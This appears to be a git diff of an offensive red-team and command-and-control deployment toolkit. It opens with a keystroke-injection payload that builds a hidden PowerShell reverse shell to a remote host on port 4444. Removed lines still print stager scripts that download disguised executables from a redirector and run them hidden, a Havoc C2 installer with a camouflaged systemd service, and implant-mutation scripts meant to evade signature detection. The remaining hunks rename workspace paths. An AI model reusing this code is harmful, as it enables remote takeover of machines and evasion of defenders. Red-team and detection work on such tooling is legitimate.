STRING $attempts = 0; $maxAttempts = 3; while ($attempts -lt $maxAttempts) { try { $c = New-Object System.Net.Sockets.TCPClient('cdn.example.com', 4444); if ($c.Connected) { break }; } catch { $attempts++; if ($attempts -ge $maxAttempts) { cleanup } else { Start-Sleep -Seconds 2 } }; }
ENTER
REM Setup streams
STRING $s = $c.GetStream(); [byte[]]$b = 0..65535|%{0}; $sl = New-Object System.Security.Cryptography.AesManaged; $sl.Mode = [System.Security.Cryptography.CipherMode]::CBC; $sl.Padding = [System.Security.Cryptography.PaddingMode]::Zeros; $sl.BlockSize = 128; $sl.KeySize = 256; $i = 0
ENTER
REM Execute either PowerShell or CMD shell based on configuration
STRING $p = New-Object System.Diagnostics.Process; $p.StartInfo.FileName = 'powershell.exe'; $p.StartInfo.Arguments = '-NoProfile -ExecutionPolicy Bypass'; $p.StartInfo.UseShellExecute = $false; $p.StartInfo.RedirectStandardInput = $true; $p.StartInfo.RedirectStandardOutput = $true; $p.StartInfo.RedirectStandardError = $true; $p.StartInfo.CreateNoWindow = $true; $p.Start() | Out-Null
ENTER
REM Setup IO redirection
STRING $is = $p.StandardInput; $os = $p.StandardOutput; $es = $p.StandardError; $osb = New-Object System.IO.MemoryStream; $esb = New-Object System.IO.MemoryStream; $osl = New-Object System.Threading.AutoResetEvent $false; $esl = New-Object System.Threading.AutoResetEvent $false; $od = $os.BaseStream.BeginRead($b, 0, $b.Length, $null, $null); $ed = $es.BaseStream.BeginRead($b, 0, $b.Length, $null, $null)
ENTER
REM Main communication loop
STRING try { while ($true) { if ($c.Connected -ne $true -or ($osb.Length -eq 0 -and $i -gt 10000)) { cleanup }; $i = 0; Start-Sleep -Milliseconds 100; $ab = New-Object byte[] $c.Available; if ($ab.Length -gt 0) { $rd = $s.Read($ab, 0, $ab.Length); $dt = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($ab); $is.Write($dt); $i = 0 }; if ($p.HasExited) { cleanup }; } } catch { cleanup }
ENTER
REM Execute and complete
STRING iex 'Get-Process | Select-Object ProcessName,Id,CPU | Sort-Object CPU -Descending | Select-Object -First 5'
ENTER
+7 -4
View File
@@ -1,5 +1,8 @@
#!/bin/bash #!/bin/bash
# Loader script for Linux beacon # OMITTED — Linux stager template
curl -s https://REDIRECTOR_PLACEHOLDER/static/css/linux.css -H "Accept-Language: en-US,en;q=0.9" -o /tmp/linux_update #
chmod +x /tmp/linux_update # Jinja2 template rendered at deploy time. Fetches a staged ELF payload from
/tmp/linux_update & # the redirector using a disguised URL path, sets executable bit, and runs
# the payload in the background.
#
# Omitted from public release. Present in operational deployments.
+8 -16
View File
@@ -1,16 +1,8 @@
# Windows PowerShell Beacon Loader # OMITTED — Windows PowerShell stager template
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 #
$ErrorActionPreference = "SilentlyContinue" # Jinja2 template rendered at deploy time with redirector hostname and path
$wc = New-Object System.Net.WebClient # substituted. Downloads a staged payload over HTTPS with a legitimate-looking
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36") # User-Agent and Referer, writes to a randomized temp path, and executes.
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9") # Includes error suppression and jitter sleep to reduce behavioral detection.
$wc.Headers.Add("Referer", "https://REDIRECTOR_PLACEHOLDER/") #
$url = "https://REDIRECTOR_PLACEHOLDER/static/js/update.js" # Omitted from public release. Present in operational deployments.
$outpath = "$env:TEMP\update-$(New-Guid).exe"
try {
$wc.DownloadFile($url, $outpath)
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
Start-Process -WindowStyle Hidden -FilePath $outpath
} catch {
# Fail silently
}
Submodule ghost_protocol deleted from 701f7078f5
+3 -3
View File
@@ -172,7 +172,7 @@ def gather_attack_box_parameters(attack_box_type="kali"):
if config['enhanced_opsec']: if config['enhanced_opsec']:
print(f"{COLORS['YELLOW']}🔒 Enhanced OPSEC mode enabled:{COLORS['RESET']}") print(f"{COLORS['YELLOW']}🔒 Enhanced OPSEC mode enabled:{COLORS['RESET']}")
print(f" • Working directory: /root/{config['deployment_id']} (not 'dmealey')") print(f" • Working directory: /root/{config['deployment_id']} (not 'operator')")
print(f" • No 'trashpanda' references in files or aliases") print(f" • No 'trashpanda' references in files or aliases")
print(f" • Generic script names and comments") print(f" • Generic script names and comments")
print(f" • Minimal logging and history") print(f" • Minimal logging and history")
@@ -182,9 +182,9 @@ def gather_attack_box_parameters(attack_box_type="kali"):
config['project_name'] = config['deployment_id'] config['project_name'] = config['deployment_id']
else: else:
print(f"{COLORS['CYAN']}💡 Standard mode - using TrashPanda branding and structure{COLORS['RESET']}") print(f"{COLORS['CYAN']}💡 Standard mode - using TrashPanda branding and structure{COLORS['RESET']}")
config['work_dir'] = "/root/dmealey" config['work_dir'] = "/root/operator"
config['tool_name'] = "trashpanda" config['tool_name'] = "trashpanda"
config['project_name'] = "dmealey" config['project_name'] = "operator"
# Check for global auto-teardown flag # Check for global auto-teardown flag
global_auto_teardown = os.environ.get('C2ITALL_AUTO_TEARDOWN', '').lower() == 'true' global_auto_teardown = os.environ.get('C2ITALL_AUTO_TEARDOWN', '').lower() == 'true'
+16 -16
View File
@@ -3,9 +3,9 @@
# Attack Box Setup Information # Attack Box Setup Information
ATTACK_BOX_VERSION="1.0.0" ATTACK_BOX_VERSION="1.0.0"
WORKSPACE_DIR="/root/dmealey" WORKSPACE_DIR="/root/operator"
SCRIPTS_DIR="/root/dmealey/tools/scripts" SCRIPTS_DIR="/root/operator/tools/scripts"
TOOLS_DIR="/root/dmealey/tools" TOOLS_DIR="/root/operator/tools"
# Available Commands # Available Commands
echo "Attack Box Commands:" echo "Attack Box Commands:"
@@ -14,23 +14,23 @@ echo "recon <target> - Run reconnaissance automation"
echo "portscan <target> - Run port scan automation" echo "portscan <target> - Run port scan automation"
echo "webenum <target> - Run web enumeration automation" echo "webenum <target> - Run web enumeration automation"
echo "attack-menu - Launch manual testing menu" echo "attack-menu - Launch manual testing menu"
echo "dmealey - Change to main directory" echo "operator - Change to main directory"
echo "mkdmealey <name> - Create new engagement structure" echo "mkoperator <name> - Create new engagement structure"
echo "" echo ""
echo "Workspace Structure:" echo "Workspace Structure:"
echo "===================" echo "==================="
echo "~/dmealey/tools/ - All security tools and scripts" echo "~/operator/tools/ - All security tools and scripts"
echo "~/dmealey/scans/ - All scan results organized by type" echo "~/operator/scans/ - All scan results organized by type"
echo "~/dmealey/loot/ - Extracted data and credentials" echo "~/operator/loot/ - Extracted data and credentials"
echo "~/dmealey/targets/ - Target lists and reconnaissance" echo "~/operator/targets/ - Target lists and reconnaissance"
echo "~/dmealey/notes/ - Manual notes and observations" echo "~/operator/notes/ - Manual notes and observations"
echo "~/dmealey/reports/ - Documentation and reporting" echo "~/operator/reports/ - Documentation and reporting"
echo "~/dmealey/exploits/ - Working exploits and POCs" echo "~/operator/exploits/ - Working exploits and POCs"
echo "~/dmealey/payloads/ - Custom payloads and shells" echo "~/operator/payloads/ - Custom payloads and shells"
echo "~/dmealey/wordlists/ - Custom and downloaded wordlists" echo "~/operator/wordlists/ - Custom and downloaded wordlists"
echo "~/dmealey/pcaps/ - Network captures and analysis" echo "~/operator/pcaps/ - Network captures and analysis"
echo "" echo ""
echo "Trashpanda-style Directory Structure:" echo "Trashpanda-style Directory Structure:"
echo "=====================================" echo "====================================="
echo "The dmealey directory follows the exact structure as TrashPanda tool" echo "The operator directory follows the exact structure as TrashPanda tool"
echo "with organized subdirectories for different scan types and data." echo "with organized subdirectories for different scan types and data."
@@ -2,8 +2,8 @@
# Attack Box - Git Repositories Cloning Script # Attack Box - Git Repositories Cloning Script
# Clones security tool repositories with enhanced feedback # Clones security tool repositories with enhanced feedback
# Get DMEALEY_DIR from environment or use default # Get OPERATOR_DIR from environment or use default
DMEALEY_DIR="${DMEALEY_DIR:-/root/dmealey}" OPERATOR_DIR="${OPERATOR_DIR:-/root/operator}"
echo "================================================================" echo "================================================================"
echo "GIT REPOSITORIES CLONING STARTED" echo "GIT REPOSITORIES CLONING STARTED"
@@ -61,8 +61,8 @@ FAILED=0
SUCCESS=0 SUCCESS=0
# Create git directory if it doesn't exist # Create git directory if it doesn't exist
mkdir -p "$DMEALEY_DIR/tools/git" mkdir -p "$OPERATOR_DIR/tools/git"
cd "$DMEALEY_DIR/tools/git" cd "$OPERATOR_DIR/tools/git"
for i in "${!REPOS[@]}"; do for i in "${!REPOS[@]}"; do
CURRENT=$((CURRENT + 1)) CURRENT=$((CURRENT + 1))
@@ -117,6 +117,6 @@ echo "Failed: $FAILED"
echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%" echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
echo "" echo ""
echo "Cloned repositories:" echo "Cloned repositories:"
ls -la "$DMEALEY_DIR/tools/git/" | head -20 ls -la "$OPERATOR_DIR/tools/git/" | head -20
exit 0 exit 0
+3 -3
View File
@@ -2,10 +2,10 @@
# Attack Box - Go Tools Installation Script # Attack Box - Go Tools Installation Script
# Installs security tools via go install with enhanced feedback # Installs security tools via go install with enhanced feedback
# Get DMEALEY_DIR from environment or use default # Get OPERATOR_DIR from environment or use default
DMEALEY_DIR="${DMEALEY_DIR:-/root/dmealey}" OPERATOR_DIR="${OPERATOR_DIR:-/root/operator}"
export GOPATH="$DMEALEY_DIR/tools/go" export GOPATH="$OPERATOR_DIR/tools/go"
export PATH="/root/.local/bin:/usr/local/go/bin:$GOPATH/bin:$PATH" export PATH="/root/.local/bin:/usr/local/go/bin:$GOPATH/bin:$PATH"
mkdir -p "$GOPATH" mkdir -p "$GOPATH"
@@ -237,8 +237,8 @@ automated_recon() {
echo -ne "Enter target domain/IP: " echo -ne "Enter target domain/IP: "
read -r target read -r target
echo -e "${GREEN}[+] Executing recon automation script...${NC}" echo -e "${GREEN}[+] Executing recon automation script...${NC}"
if [ -f "/root/dmealey/tools/scripts/recon_automation.sh" ]; then if [ -f "/root/operator/tools/scripts/recon_automation.sh" ]; then
/root/dmealey/tools/scripts/recon_automation.sh "$target" /root/operator/tools/scripts/recon_automation.sh "$target"
else else
echo -e "${RED}[-] Recon automation script not found!${NC}" echo -e "${RED}[-] Recon automation script not found!${NC}"
fi fi
@@ -252,8 +252,8 @@ automated_port_scan() {
echo -ne "Enter target IP/range: " echo -ne "Enter target IP/range: "
read -r target read -r target
echo -e "${GREEN}[+] Executing port scan automation script...${NC}" echo -e "${GREEN}[+] Executing port scan automation script...${NC}"
if [ -f "/root/dmealey/tools/scripts/port_scan_automation.sh" ]; then if [ -f "/root/operator/tools/scripts/port_scan_automation.sh" ]; then
/root/dmealey/tools/scripts/port_scan_automation.sh "$target" /root/operator/tools/scripts/port_scan_automation.sh "$target"
else else
echo -e "${RED}[-] Port scan automation script not found!${NC}" echo -e "${RED}[-] Port scan automation script not found!${NC}"
fi fi
@@ -267,8 +267,8 @@ automated_web_enum() {
echo -ne "Enter target URL: " echo -ne "Enter target URL: "
read -r url read -r url
echo -e "${GREEN}[+] Executing web enumeration automation script...${NC}" echo -e "${GREEN}[+] Executing web enumeration automation script...${NC}"
if [ -f "/root/dmealey/tools/scripts/web_enum_automation.sh" ]; then if [ -f "/root/operator/tools/scripts/web_enum_automation.sh" ]; then
/root/dmealey/tools/scripts/web_enum_automation.sh "$url" /root/operator/tools/scripts/web_enum_automation.sh "$url"
else else
echo -e "${RED}[-] Web enumeration automation script not found!${NC}" echo -e "${RED}[-] Web enumeration automation script not found!${NC}"
fi fi
@@ -309,7 +309,7 @@ generate_reports() {
echo -e "${GREEN}========================================${NC}" echo -e "${GREEN}========================================${NC}"
echo echo
WORKSPACE="/root/dmealey" WORKSPACE="/root/operator"
DATE=$(date +%Y%m%d_%H%M%S) DATE=$(date +%Y%m%d_%H%M%S)
REPORT_DIR="$WORKSPACE/reports/manual_testing_$DATE" REPORT_DIR="$WORKSPACE/reports/manual_testing_$DATE"
@@ -385,8 +385,8 @@ if [[ $EUID -eq 0 ]]; then
sleep 2 sleep 2
fi fi
# Create dmealey structure if it doesn't exist # Create operator structure if it doesn't exist
mkdir -p "/root/dmealey/"{tools,scans,logs,loot,payloads,targets,screenshots,reports,notes,exploits,wordlists,pcaps} mkdir -p "/root/operator/"{tools,scans,logs,loot,payloads,targets,screenshots,reports,notes,exploits,wordlists,pcaps}
# Start the main menu # Start the main menu
main main
@@ -13,7 +13,7 @@ fi
TARGET="$1" TARGET="$1"
SCAN_TYPE="${2:-quick}" SCAN_TYPE="${2:-quick}"
WORKSPACE="/root/dmealey/scans/nmap/$TARGET" WORKSPACE="/root/operator/scans/nmap/$TARGET"
DATE=$(date +%Y%m%d_%H%M%S) DATE=$(date +%Y%m%d_%H%M%S)
# Colors for output # Colors for output
+1 -1
View File
@@ -11,7 +11,7 @@ if [ $# -eq 0 ]; then
fi fi
TARGET="$1" TARGET="$1"
WORKSPACE="/root/dmealey/scans/reachability/$TARGET" WORKSPACE="/root/operator/scans/reachability/$TARGET"
DATE=$(date +%Y%m%d_%H%M%S) DATE=$(date +%Y%m%d_%H%M%S)
# Colors for output # Colors for output
+2 -2
View File
@@ -15,8 +15,8 @@ if [ -n "$1" ]; then
WORK_DIR="$1" WORK_DIR="$1"
else else
# Auto-detect working directory # Auto-detect working directory
if [ -d "/root/dmealey" ]; then if [ -d "/root/operator" ]; then
WORK_DIR="/root/dmealey" WORK_DIR="/root/operator"
else else
# Find deployment-named directory # Find deployment-named directory
WORK_DIR=$(find /root -maxdepth 1 -type d -name "*[a-z]*[a-z]*" 2>/dev/null | head -1) WORK_DIR=$(find /root -maxdepth 1 -type d -name "*[a-z]*[a-z]*" 2>/dev/null | head -1)
+4 -4
View File
@@ -207,7 +207,7 @@ def print_banner():
""" """
print(banner) print(banner)
def create_pentest_structure(base_name="/root/dmealey"): def create_pentest_structure(base_name="/root/operator"):
"""Create a comprehensive penetration testing directory structure.""" """Create a comprehensive penetration testing directory structure."""
# Main engagement directory # Main engagement directory
@@ -301,7 +301,7 @@ def create_pentest_structure(base_name="/root/dmealey"):
f.write(f"TrashPanda Engagement Log\n") f.write(f"TrashPanda Engagement Log\n")
f.write(f"========================\n") f.write(f"========================\n")
f.write(f"Started: {time.strftime('%Y-%m-%d %H:%M:%S')}\n") f.write(f"Started: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
f.write(f"Operator: dmealey\n") f.write(f"Operator: operator\n")
f.write(f"Tool: TrashPanda v2.4\n\n") f.write(f"Tool: TrashPanda v2.4\n\n")
# Create initial target file # Create initial target file
@@ -3044,7 +3044,7 @@ def generate_summary_report(base_dir):
f.write("TRASHPANDA COMPREHENSIVE PENETRATION TESTING REPORT\n") f.write("TRASHPANDA COMPREHENSIVE PENETRATION TESTING REPORT\n")
f.write("=" * 80 + "\n\n") f.write("=" * 80 + "\n\n")
f.write(f"Generated: {time.strftime('%Y-%m-%d %H:%M:%S')}\n") f.write(f"Generated: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
f.write(f"Operator: dmealey\n") f.write(f"Operator: operator\n")
f.write(f"Engagement Directory: {base_dir}\n\n") f.write(f"Engagement Directory: {base_dir}\n\n")
# Enhanced directory structure overview # Enhanced directory structure overview
@@ -3153,7 +3153,7 @@ Examples:
parser.add_argument("targets", nargs='?', help="Target file, IP, IP range, or CIDR") parser.add_argument("targets", nargs='?', help="Target file, IP, IP range, or CIDR")
# Directory options # Directory options
parser.add_argument("-d", "--directory", help="Engagement directory name", default="/root/dmealey") parser.add_argument("-d", "--directory", help="Engagement directory name", default="/root/operator")
parser.add_argument("-c", "--create-dirs", action="store_true", help="Only create directory structure and exit") parser.add_argument("-c", "--create-dirs", action="store_true", help="Only create directory structure and exit")
# Scan modes # Scan modes
@@ -7,14 +7,14 @@ set -e
if [ $# -eq 0 ]; then if [ $# -eq 0 ]; then
echo "Usage: $0 <target_url>" echo "Usage: $0 <target_url>"
echo "Example: $0 https://example.com" echo "Example: $0 https://example.com"
echo " $0 http://192.168.1.100:8080" echo " $0 http://10.0.0.100:8080"
exit 1 exit 1
fi fi
TARGET_URL="$1" TARGET_URL="$1"
# Extract domain/IP for workspace naming # Extract domain/IP for workspace naming
TARGET_CLEAN=$(echo "$TARGET_URL" | sed 's|https\?://||g' | sed 's|/.*||g' | tr ':' '_') TARGET_CLEAN=$(echo "$TARGET_URL" | sed 's|https\?://||g' | sed 's|/.*||g' | tr ':' '_')
WORKSPACE="/root/dmealey/scans/web/$TARGET_CLEAN" WORKSPACE="/root/operator/scans/web/$TARGET_CLEAN"
DATE=$(date +%Y%m%d_%H%M%S) DATE=$(date +%Y%m%d_%H%M%S)
# Colors for output # Colors for output
@@ -8,7 +8,7 @@ import os
import time import time
from pathlib import Path from pathlib import Path
def create_workspace_structure(base_name="/root/dmealey", operator="operator"): def create_workspace_structure(base_name="/root/operator", operator="operator"):
"""Create a comprehensive penetration testing directory structure like trashpanda.""" """Create a comprehensive penetration testing directory structure like trashpanda."""
# Main engagement directory # Main engagement directory
@@ -227,7 +227,7 @@ if __name__ == "__main__":
if len(sys.argv) > 1: if len(sys.argv) > 1:
workspace_name = sys.argv[1] workspace_name = sys.argv[1]
else: else:
workspace_name = f"/root/dmealey" workspace_name = f"/root/operator"
operator = getpass.getuser() operator = getpass.getuser()
create_workspace_structure(workspace_name, operator) create_workspace_structure(workspace_name, operator)
@@ -468,7 +468,7 @@
# Add targets one per line in various formats: # Add targets one per line in various formats:
# #
# Individual IPs: # Individual IPs:
# 192.168.1.10 # 10.0.0.10
# 10.0.0.5 # 10.0.0.5
# #
# IP Ranges: # IP Ranges:
+8 -233
View File
@@ -1,234 +1,9 @@
#!/bin/bash #!/bin/bash
# Enhanced Havoc C2 Framework installer optimized for Red Team Operations # OMITTED — Havoc C2 framework installer
# This script installs and configures Havoc with EDR evasion features #
# The mutation features are applied BEFORE building to ensure proper compilation # Installs Havoc C2 teamserver and client from source, configures systemd service,
# sets up operator accounts, and applies hardening (non-default ports, TLS certs,
set -e # firewall rules restricting access to redirector IPs only).
TEMP_DIR=$(mktemp -d) #
LOG_FILE="/root/Tools/havoc_installer.log" # Omitted from public release. Present in operational deployments.
HAVOC_DIR="/root/Tools/Havoc" echo "[!] Havoc installer not included in public release."
HAVOC_DATA_DIR="/root/Tools/Havoc/data"
COMPILER_URL="http://musl.cc/x86_64-w64-mingw32-cross.tgz"
COMPILER_DIR="/usr/bin/x86_64-w64-mingw32-cross"
COMPILER_PATH="$COMPILER_DIR/bin/x86_64-w64-mingw32-gcc"
IMPLANT_MUTATOR_SCRIPT="$HAVOC_DIR/implant_mutator.sh"
HAVOC_GITHUB="https://github.com/HavocFramework/Havoc.git"
# Function to log messages
log() {
echo "[$(date +"%Y-%m-%d %H:%M:%S")] $1" | tee -a $LOG_FILE
}
# Function to generate random strings
random_string() {
local length=${1:-16}
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1
}
# Generate random build ID for implant signature
RANDOMIZED_BUILD_ID=$(random_string 16)
# Install required dependencies
log "Installing dependencies..."
apt-get update >/dev/null 2>&1
apt-get install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev python3-dev libboost-all-dev mingw-w64 nasm >/dev/null 2>&1
# Fix for JSON dependency
log "Installing nlohmann-json manually..."
mkdir -p /tmp/json
cd /tmp/json
wget -q https://github.com/nlohmann/json/releases/download/v3.11.2/json.hpp
mkdir -p /usr/include/nlohmann
cp json.hpp /usr/include/nlohmann/
cd - > /dev/null
# Setup Go environment
log "Setting up Go environment..."
mkdir -p /root/go
export GOPATH=/root/go
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
# Download and install compiler fix
log "Downloading and installing fixed compiler..."
if [ ! -d "$COMPILER_DIR" ]; then
# Download the compiler
wget -q -O /tmp/compiler.tgz $COMPILER_URL
# Extract to /usr/bin
tar -xzf /tmp/compiler.tgz -C /usr/bin
# Verify compiler exists
if [ -f "$COMPILER_PATH" ]; then
log "Compiler installed successfully at $COMPILER_PATH"
chmod +x $COMPILER_PATH
else
log "Error: Compiler installation failed. File not found at $COMPILER_PATH"
fi
# Clean up
rm -f /tmp/compiler.tgz
else
log "Compiler already installed at $COMPILER_DIR"
fi
# Clone Havoc repository
log "Cloning Havoc repository..."
if [ -d "$HAVOC_DIR" ]; then
log "Havoc directory already exists, updating..."
cd $HAVOC_DIR
git pull
else
# Clone with proper GitHub URL
git clone --quiet -b dev $HAVOC_GITHUB $HAVOC_DIR
cd $HAVOC_DIR
fi
# Create data directories
mkdir -p $HAVOC_DATA_DIR
mkdir -p $HAVOC_DIR/payloads
mkdir -p $HAVOC_DIR/payloads/backup
# Initialize submodules
log "Initializing submodules..."
cd $HAVOC_DIR
git submodule init
git submodule update --recursive
# Create improved implant mutator script BEFORE building
log "Creating implant mutator script..."
cat > "$IMPLANT_MUTATOR_SCRIPT" << 'EOF'
#!/bin/bash
# === CONFIG ===
IMPLANT_DIR="$HOME/Tools/havoc/payloads/Demon"
SRC_DIR="$IMPLANT_DIR/src"
BUILD_ROOT="$HOME/Tools/havoc"
OUTPUT_FILE="$HOME/Tools/havoc/payloads/Shellcode.x64.bin"
BACKUP_DIR="$HOME/Tools/havoc/payloads/backup"
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
# === COLORS ===
YELLOW='\033[1;33m'
GREEN='\033[1;32m'
NC='\033[0m'
echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
# === 1. Backup Previous Shellcode ===
mkdir -p "$BACKUP_DIR"
if [[ -f "$OUTPUT_FILE" ]]; then
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
else
echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
fi
# === 2. Generate Random Identifiers ===
random_str() {
tr -dc A-Za-z0-9 </dev/urandom | head -c 12
}
UA=$(random_str)
URI=$(random_str)
PIPE=$(random_str)
MUTEX=$(random_str)
# === 3. Mutate TransportHttp.c ===
THTTP="$SRC_DIR/core/TransportHttp.c"
if [[ -f "$THTTP" ]]; then
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
sed -i "s|/stage|/${URI}|g" "$THTTP"
echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
else
echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
fi
# === 4. Mutate Named Pipe and Mutex ===
TARGET_FILE=""
for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
if [[ -f "$f" ]]; then
TARGET_FILE="$f"
break
fi
done
if [[ -n "$TARGET_FILE" ]]; then
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
else
echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
fi
# === 5. Rebuild Implant via Top-Level Makefile ===
echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
cd "$BUILD_ROOT" || exit 1
make clean && make
# === 6. Confirm Shellcode Output ===
if [[ -f "$OUTPUT_FILE" ]]; then
echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
else
echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
exit 1
fi
EOF
chmod +x "$IMPLANT_MUTATOR_SCRIPT"
# Perform mutations BEFORE building - this is critical
# log "Running implant mutations script before building..."
# if [ -d "$HAVOC_DIR/payloads/Demon" ]; then
# $IMPLANT_MUTATOR_SCRIPT
# if [ $? -ne 0 ]; then
# log "Warning: Implant mutation script ran with errors, but continuing build..."
# fi
# else
# log "Skipping implant mutations as Demon directory not found yet. Will be applied after build."
# fi
# Install additional Go dependencies for the teamserver
log "Installing Go dependencies for teamserver..."
cd $HAVOC_DIR/teamserver
go mod download golang.org/x/sys
cd $HAVOC_DIR
# Build Havoc using make - build teamserver first
log "Building Havoc teamserver..."
cd $HAVOC_DIR
make ts-build
# Build Havoc client
#log "Building Havoc client..."
#make client-build
# Create systemd service for Havoc
log "Creating systemd service for Havoc teamserver..."
cat > /etc/systemd/system/havoc.service << EOF
[Unit]
Description=Advanced Security Service
After=network.target
[Service]
Type=simple
User=root
Group=root
WorkingDirectory=$HAVOC_DIR/teamserver
ExecStart=$HAVOC_DIR/havoc server -d
Restart=always
RestartSec=10
# Security measures
PrivateTmp=true
ProtectHome=false
NoNewPrivileges=true
[Install]
WantedBy=multi-user.target
EOF
# Set proper permissions
log "Setting proper permissions..."
chmod -R 755 $HAVOC_DIR
# Create symlinks to executables in /usr/local/bin
ln -sf $HAVOC_DIR/havoc /usr/local/bin/havoc
ln -sf $IMPLANT_MUTATOR_SCRIPT /usr/local/bin/havoc-mutate
# Enable and start Havoc service
log "Enabling and starting Havoc service..."
systemctl daemon-reload
systemctl enable havoc
systemctl start havoc
log "Havoc C2 installation completed successfully!"
+8 -75
View File
@@ -1,76 +1,9 @@
#!/bin/bash #!/bin/bash
# OMITTED — Havoc profile mutation script
# === CONFIG === #
IMPLANT_DIR="$HOME/Tools/Havoc/payloads/Demon" # Generates a randomized Havoc teamserver profile (.yaotl) for each engagement.
SRC_DIR="$IMPLANT_DIR/src" # Randomizes sleep jitter, kill dates, working hours, and C2 profile fields.
BUILD_ROOT="$HOME/Tools/Havoc" # Feeds output directly into the teamserver configuration pipeline.
OUTPUT_FILE="$HOME/Tools/Havoc/payloads/Shellcode.x64.bin" #
BACKUP_DIR="$HOME/Tools/Havoc/payloads/backup" # Omitted from public release. Present in operational deployments.
TIMESTAMP=$(date +"%Y%m%d_%H%M%S") echo "[!] Havoc profile mutator not included in public release."
# === COLORS ===
YELLOW='\033[1;33m'
GREEN='\033[1;32m'
NC='\033[0m'
echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
# === 1. Backup Previous Shellcode ===
mkdir -p "$BACKUP_DIR"
if [[ -f "$OUTPUT_FILE" ]]; then
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
else
echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
fi
# === 2. Generate Random Identifiers ===
random_str() {
tr -dc A-Za-z0-9 </dev/urandom | head -c 12
}
UA=$(random_str)
URI=$(random_str)
PIPE=$(random_str)
MUTEX=$(random_str)
# === 3. Mutate TransportHttp.c ===
THTTP="$SRC_DIR/core/TransportHttp.c"
if [[ -f "$THTTP" ]]; then
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
sed -i "s|/stage|/${URI}|g" "$THTTP"
echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
else
echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
fi
# === 4. Mutate Named Pipe and Mutex ===
TARGET_FILE=""
for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
if [[ -f "$f" ]]; then
TARGET_FILE="$f"
break
fi
done
if [[ -n "$TARGET_FILE" ]]; then
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
else
echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
fi
# === 5. Rebuild Implant via Top-Level Makefile ===
echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
cd "$BUILD_ROOT" || exit 1
make clean && make
# === 6. Confirm Shellcode Output ===
if [[ -f "$OUTPUT_FILE" ]]; then
echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
else
echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
exit 1
fi
+9 -64
View File
@@ -1,65 +1,10 @@
#!/bin/bash #!/bin/bash
# === CONFIG === # OMITTED — implant mutation script
IMPLANT_DIR="$HOME/Tools/havoc/payloads/Demon" #
SRC_DIR="$IMPLANT_DIR/src" # Randomizes Havoc Demon source identifiers (User-Agent, URI paths, named pipe
BUILD_ROOT="$HOME/Tools/havoc" # names, mutex strings) before each compile to defeat signature-based detection.
OUTPUT_FILE="$HOME/Tools/havoc/payloads/Shellcode.x64.bin" # Patches TransportHttp.c, Config.c, and the build Makefile in-place, compiles
BACKUP_DIR="$HOME/Tools/havoc/payloads/backup" # a fresh shellcode blob, and backs up the previous payload with a timestamp.
TIMESTAMP=$(date +"%Y%m%d_%H%M%S") #
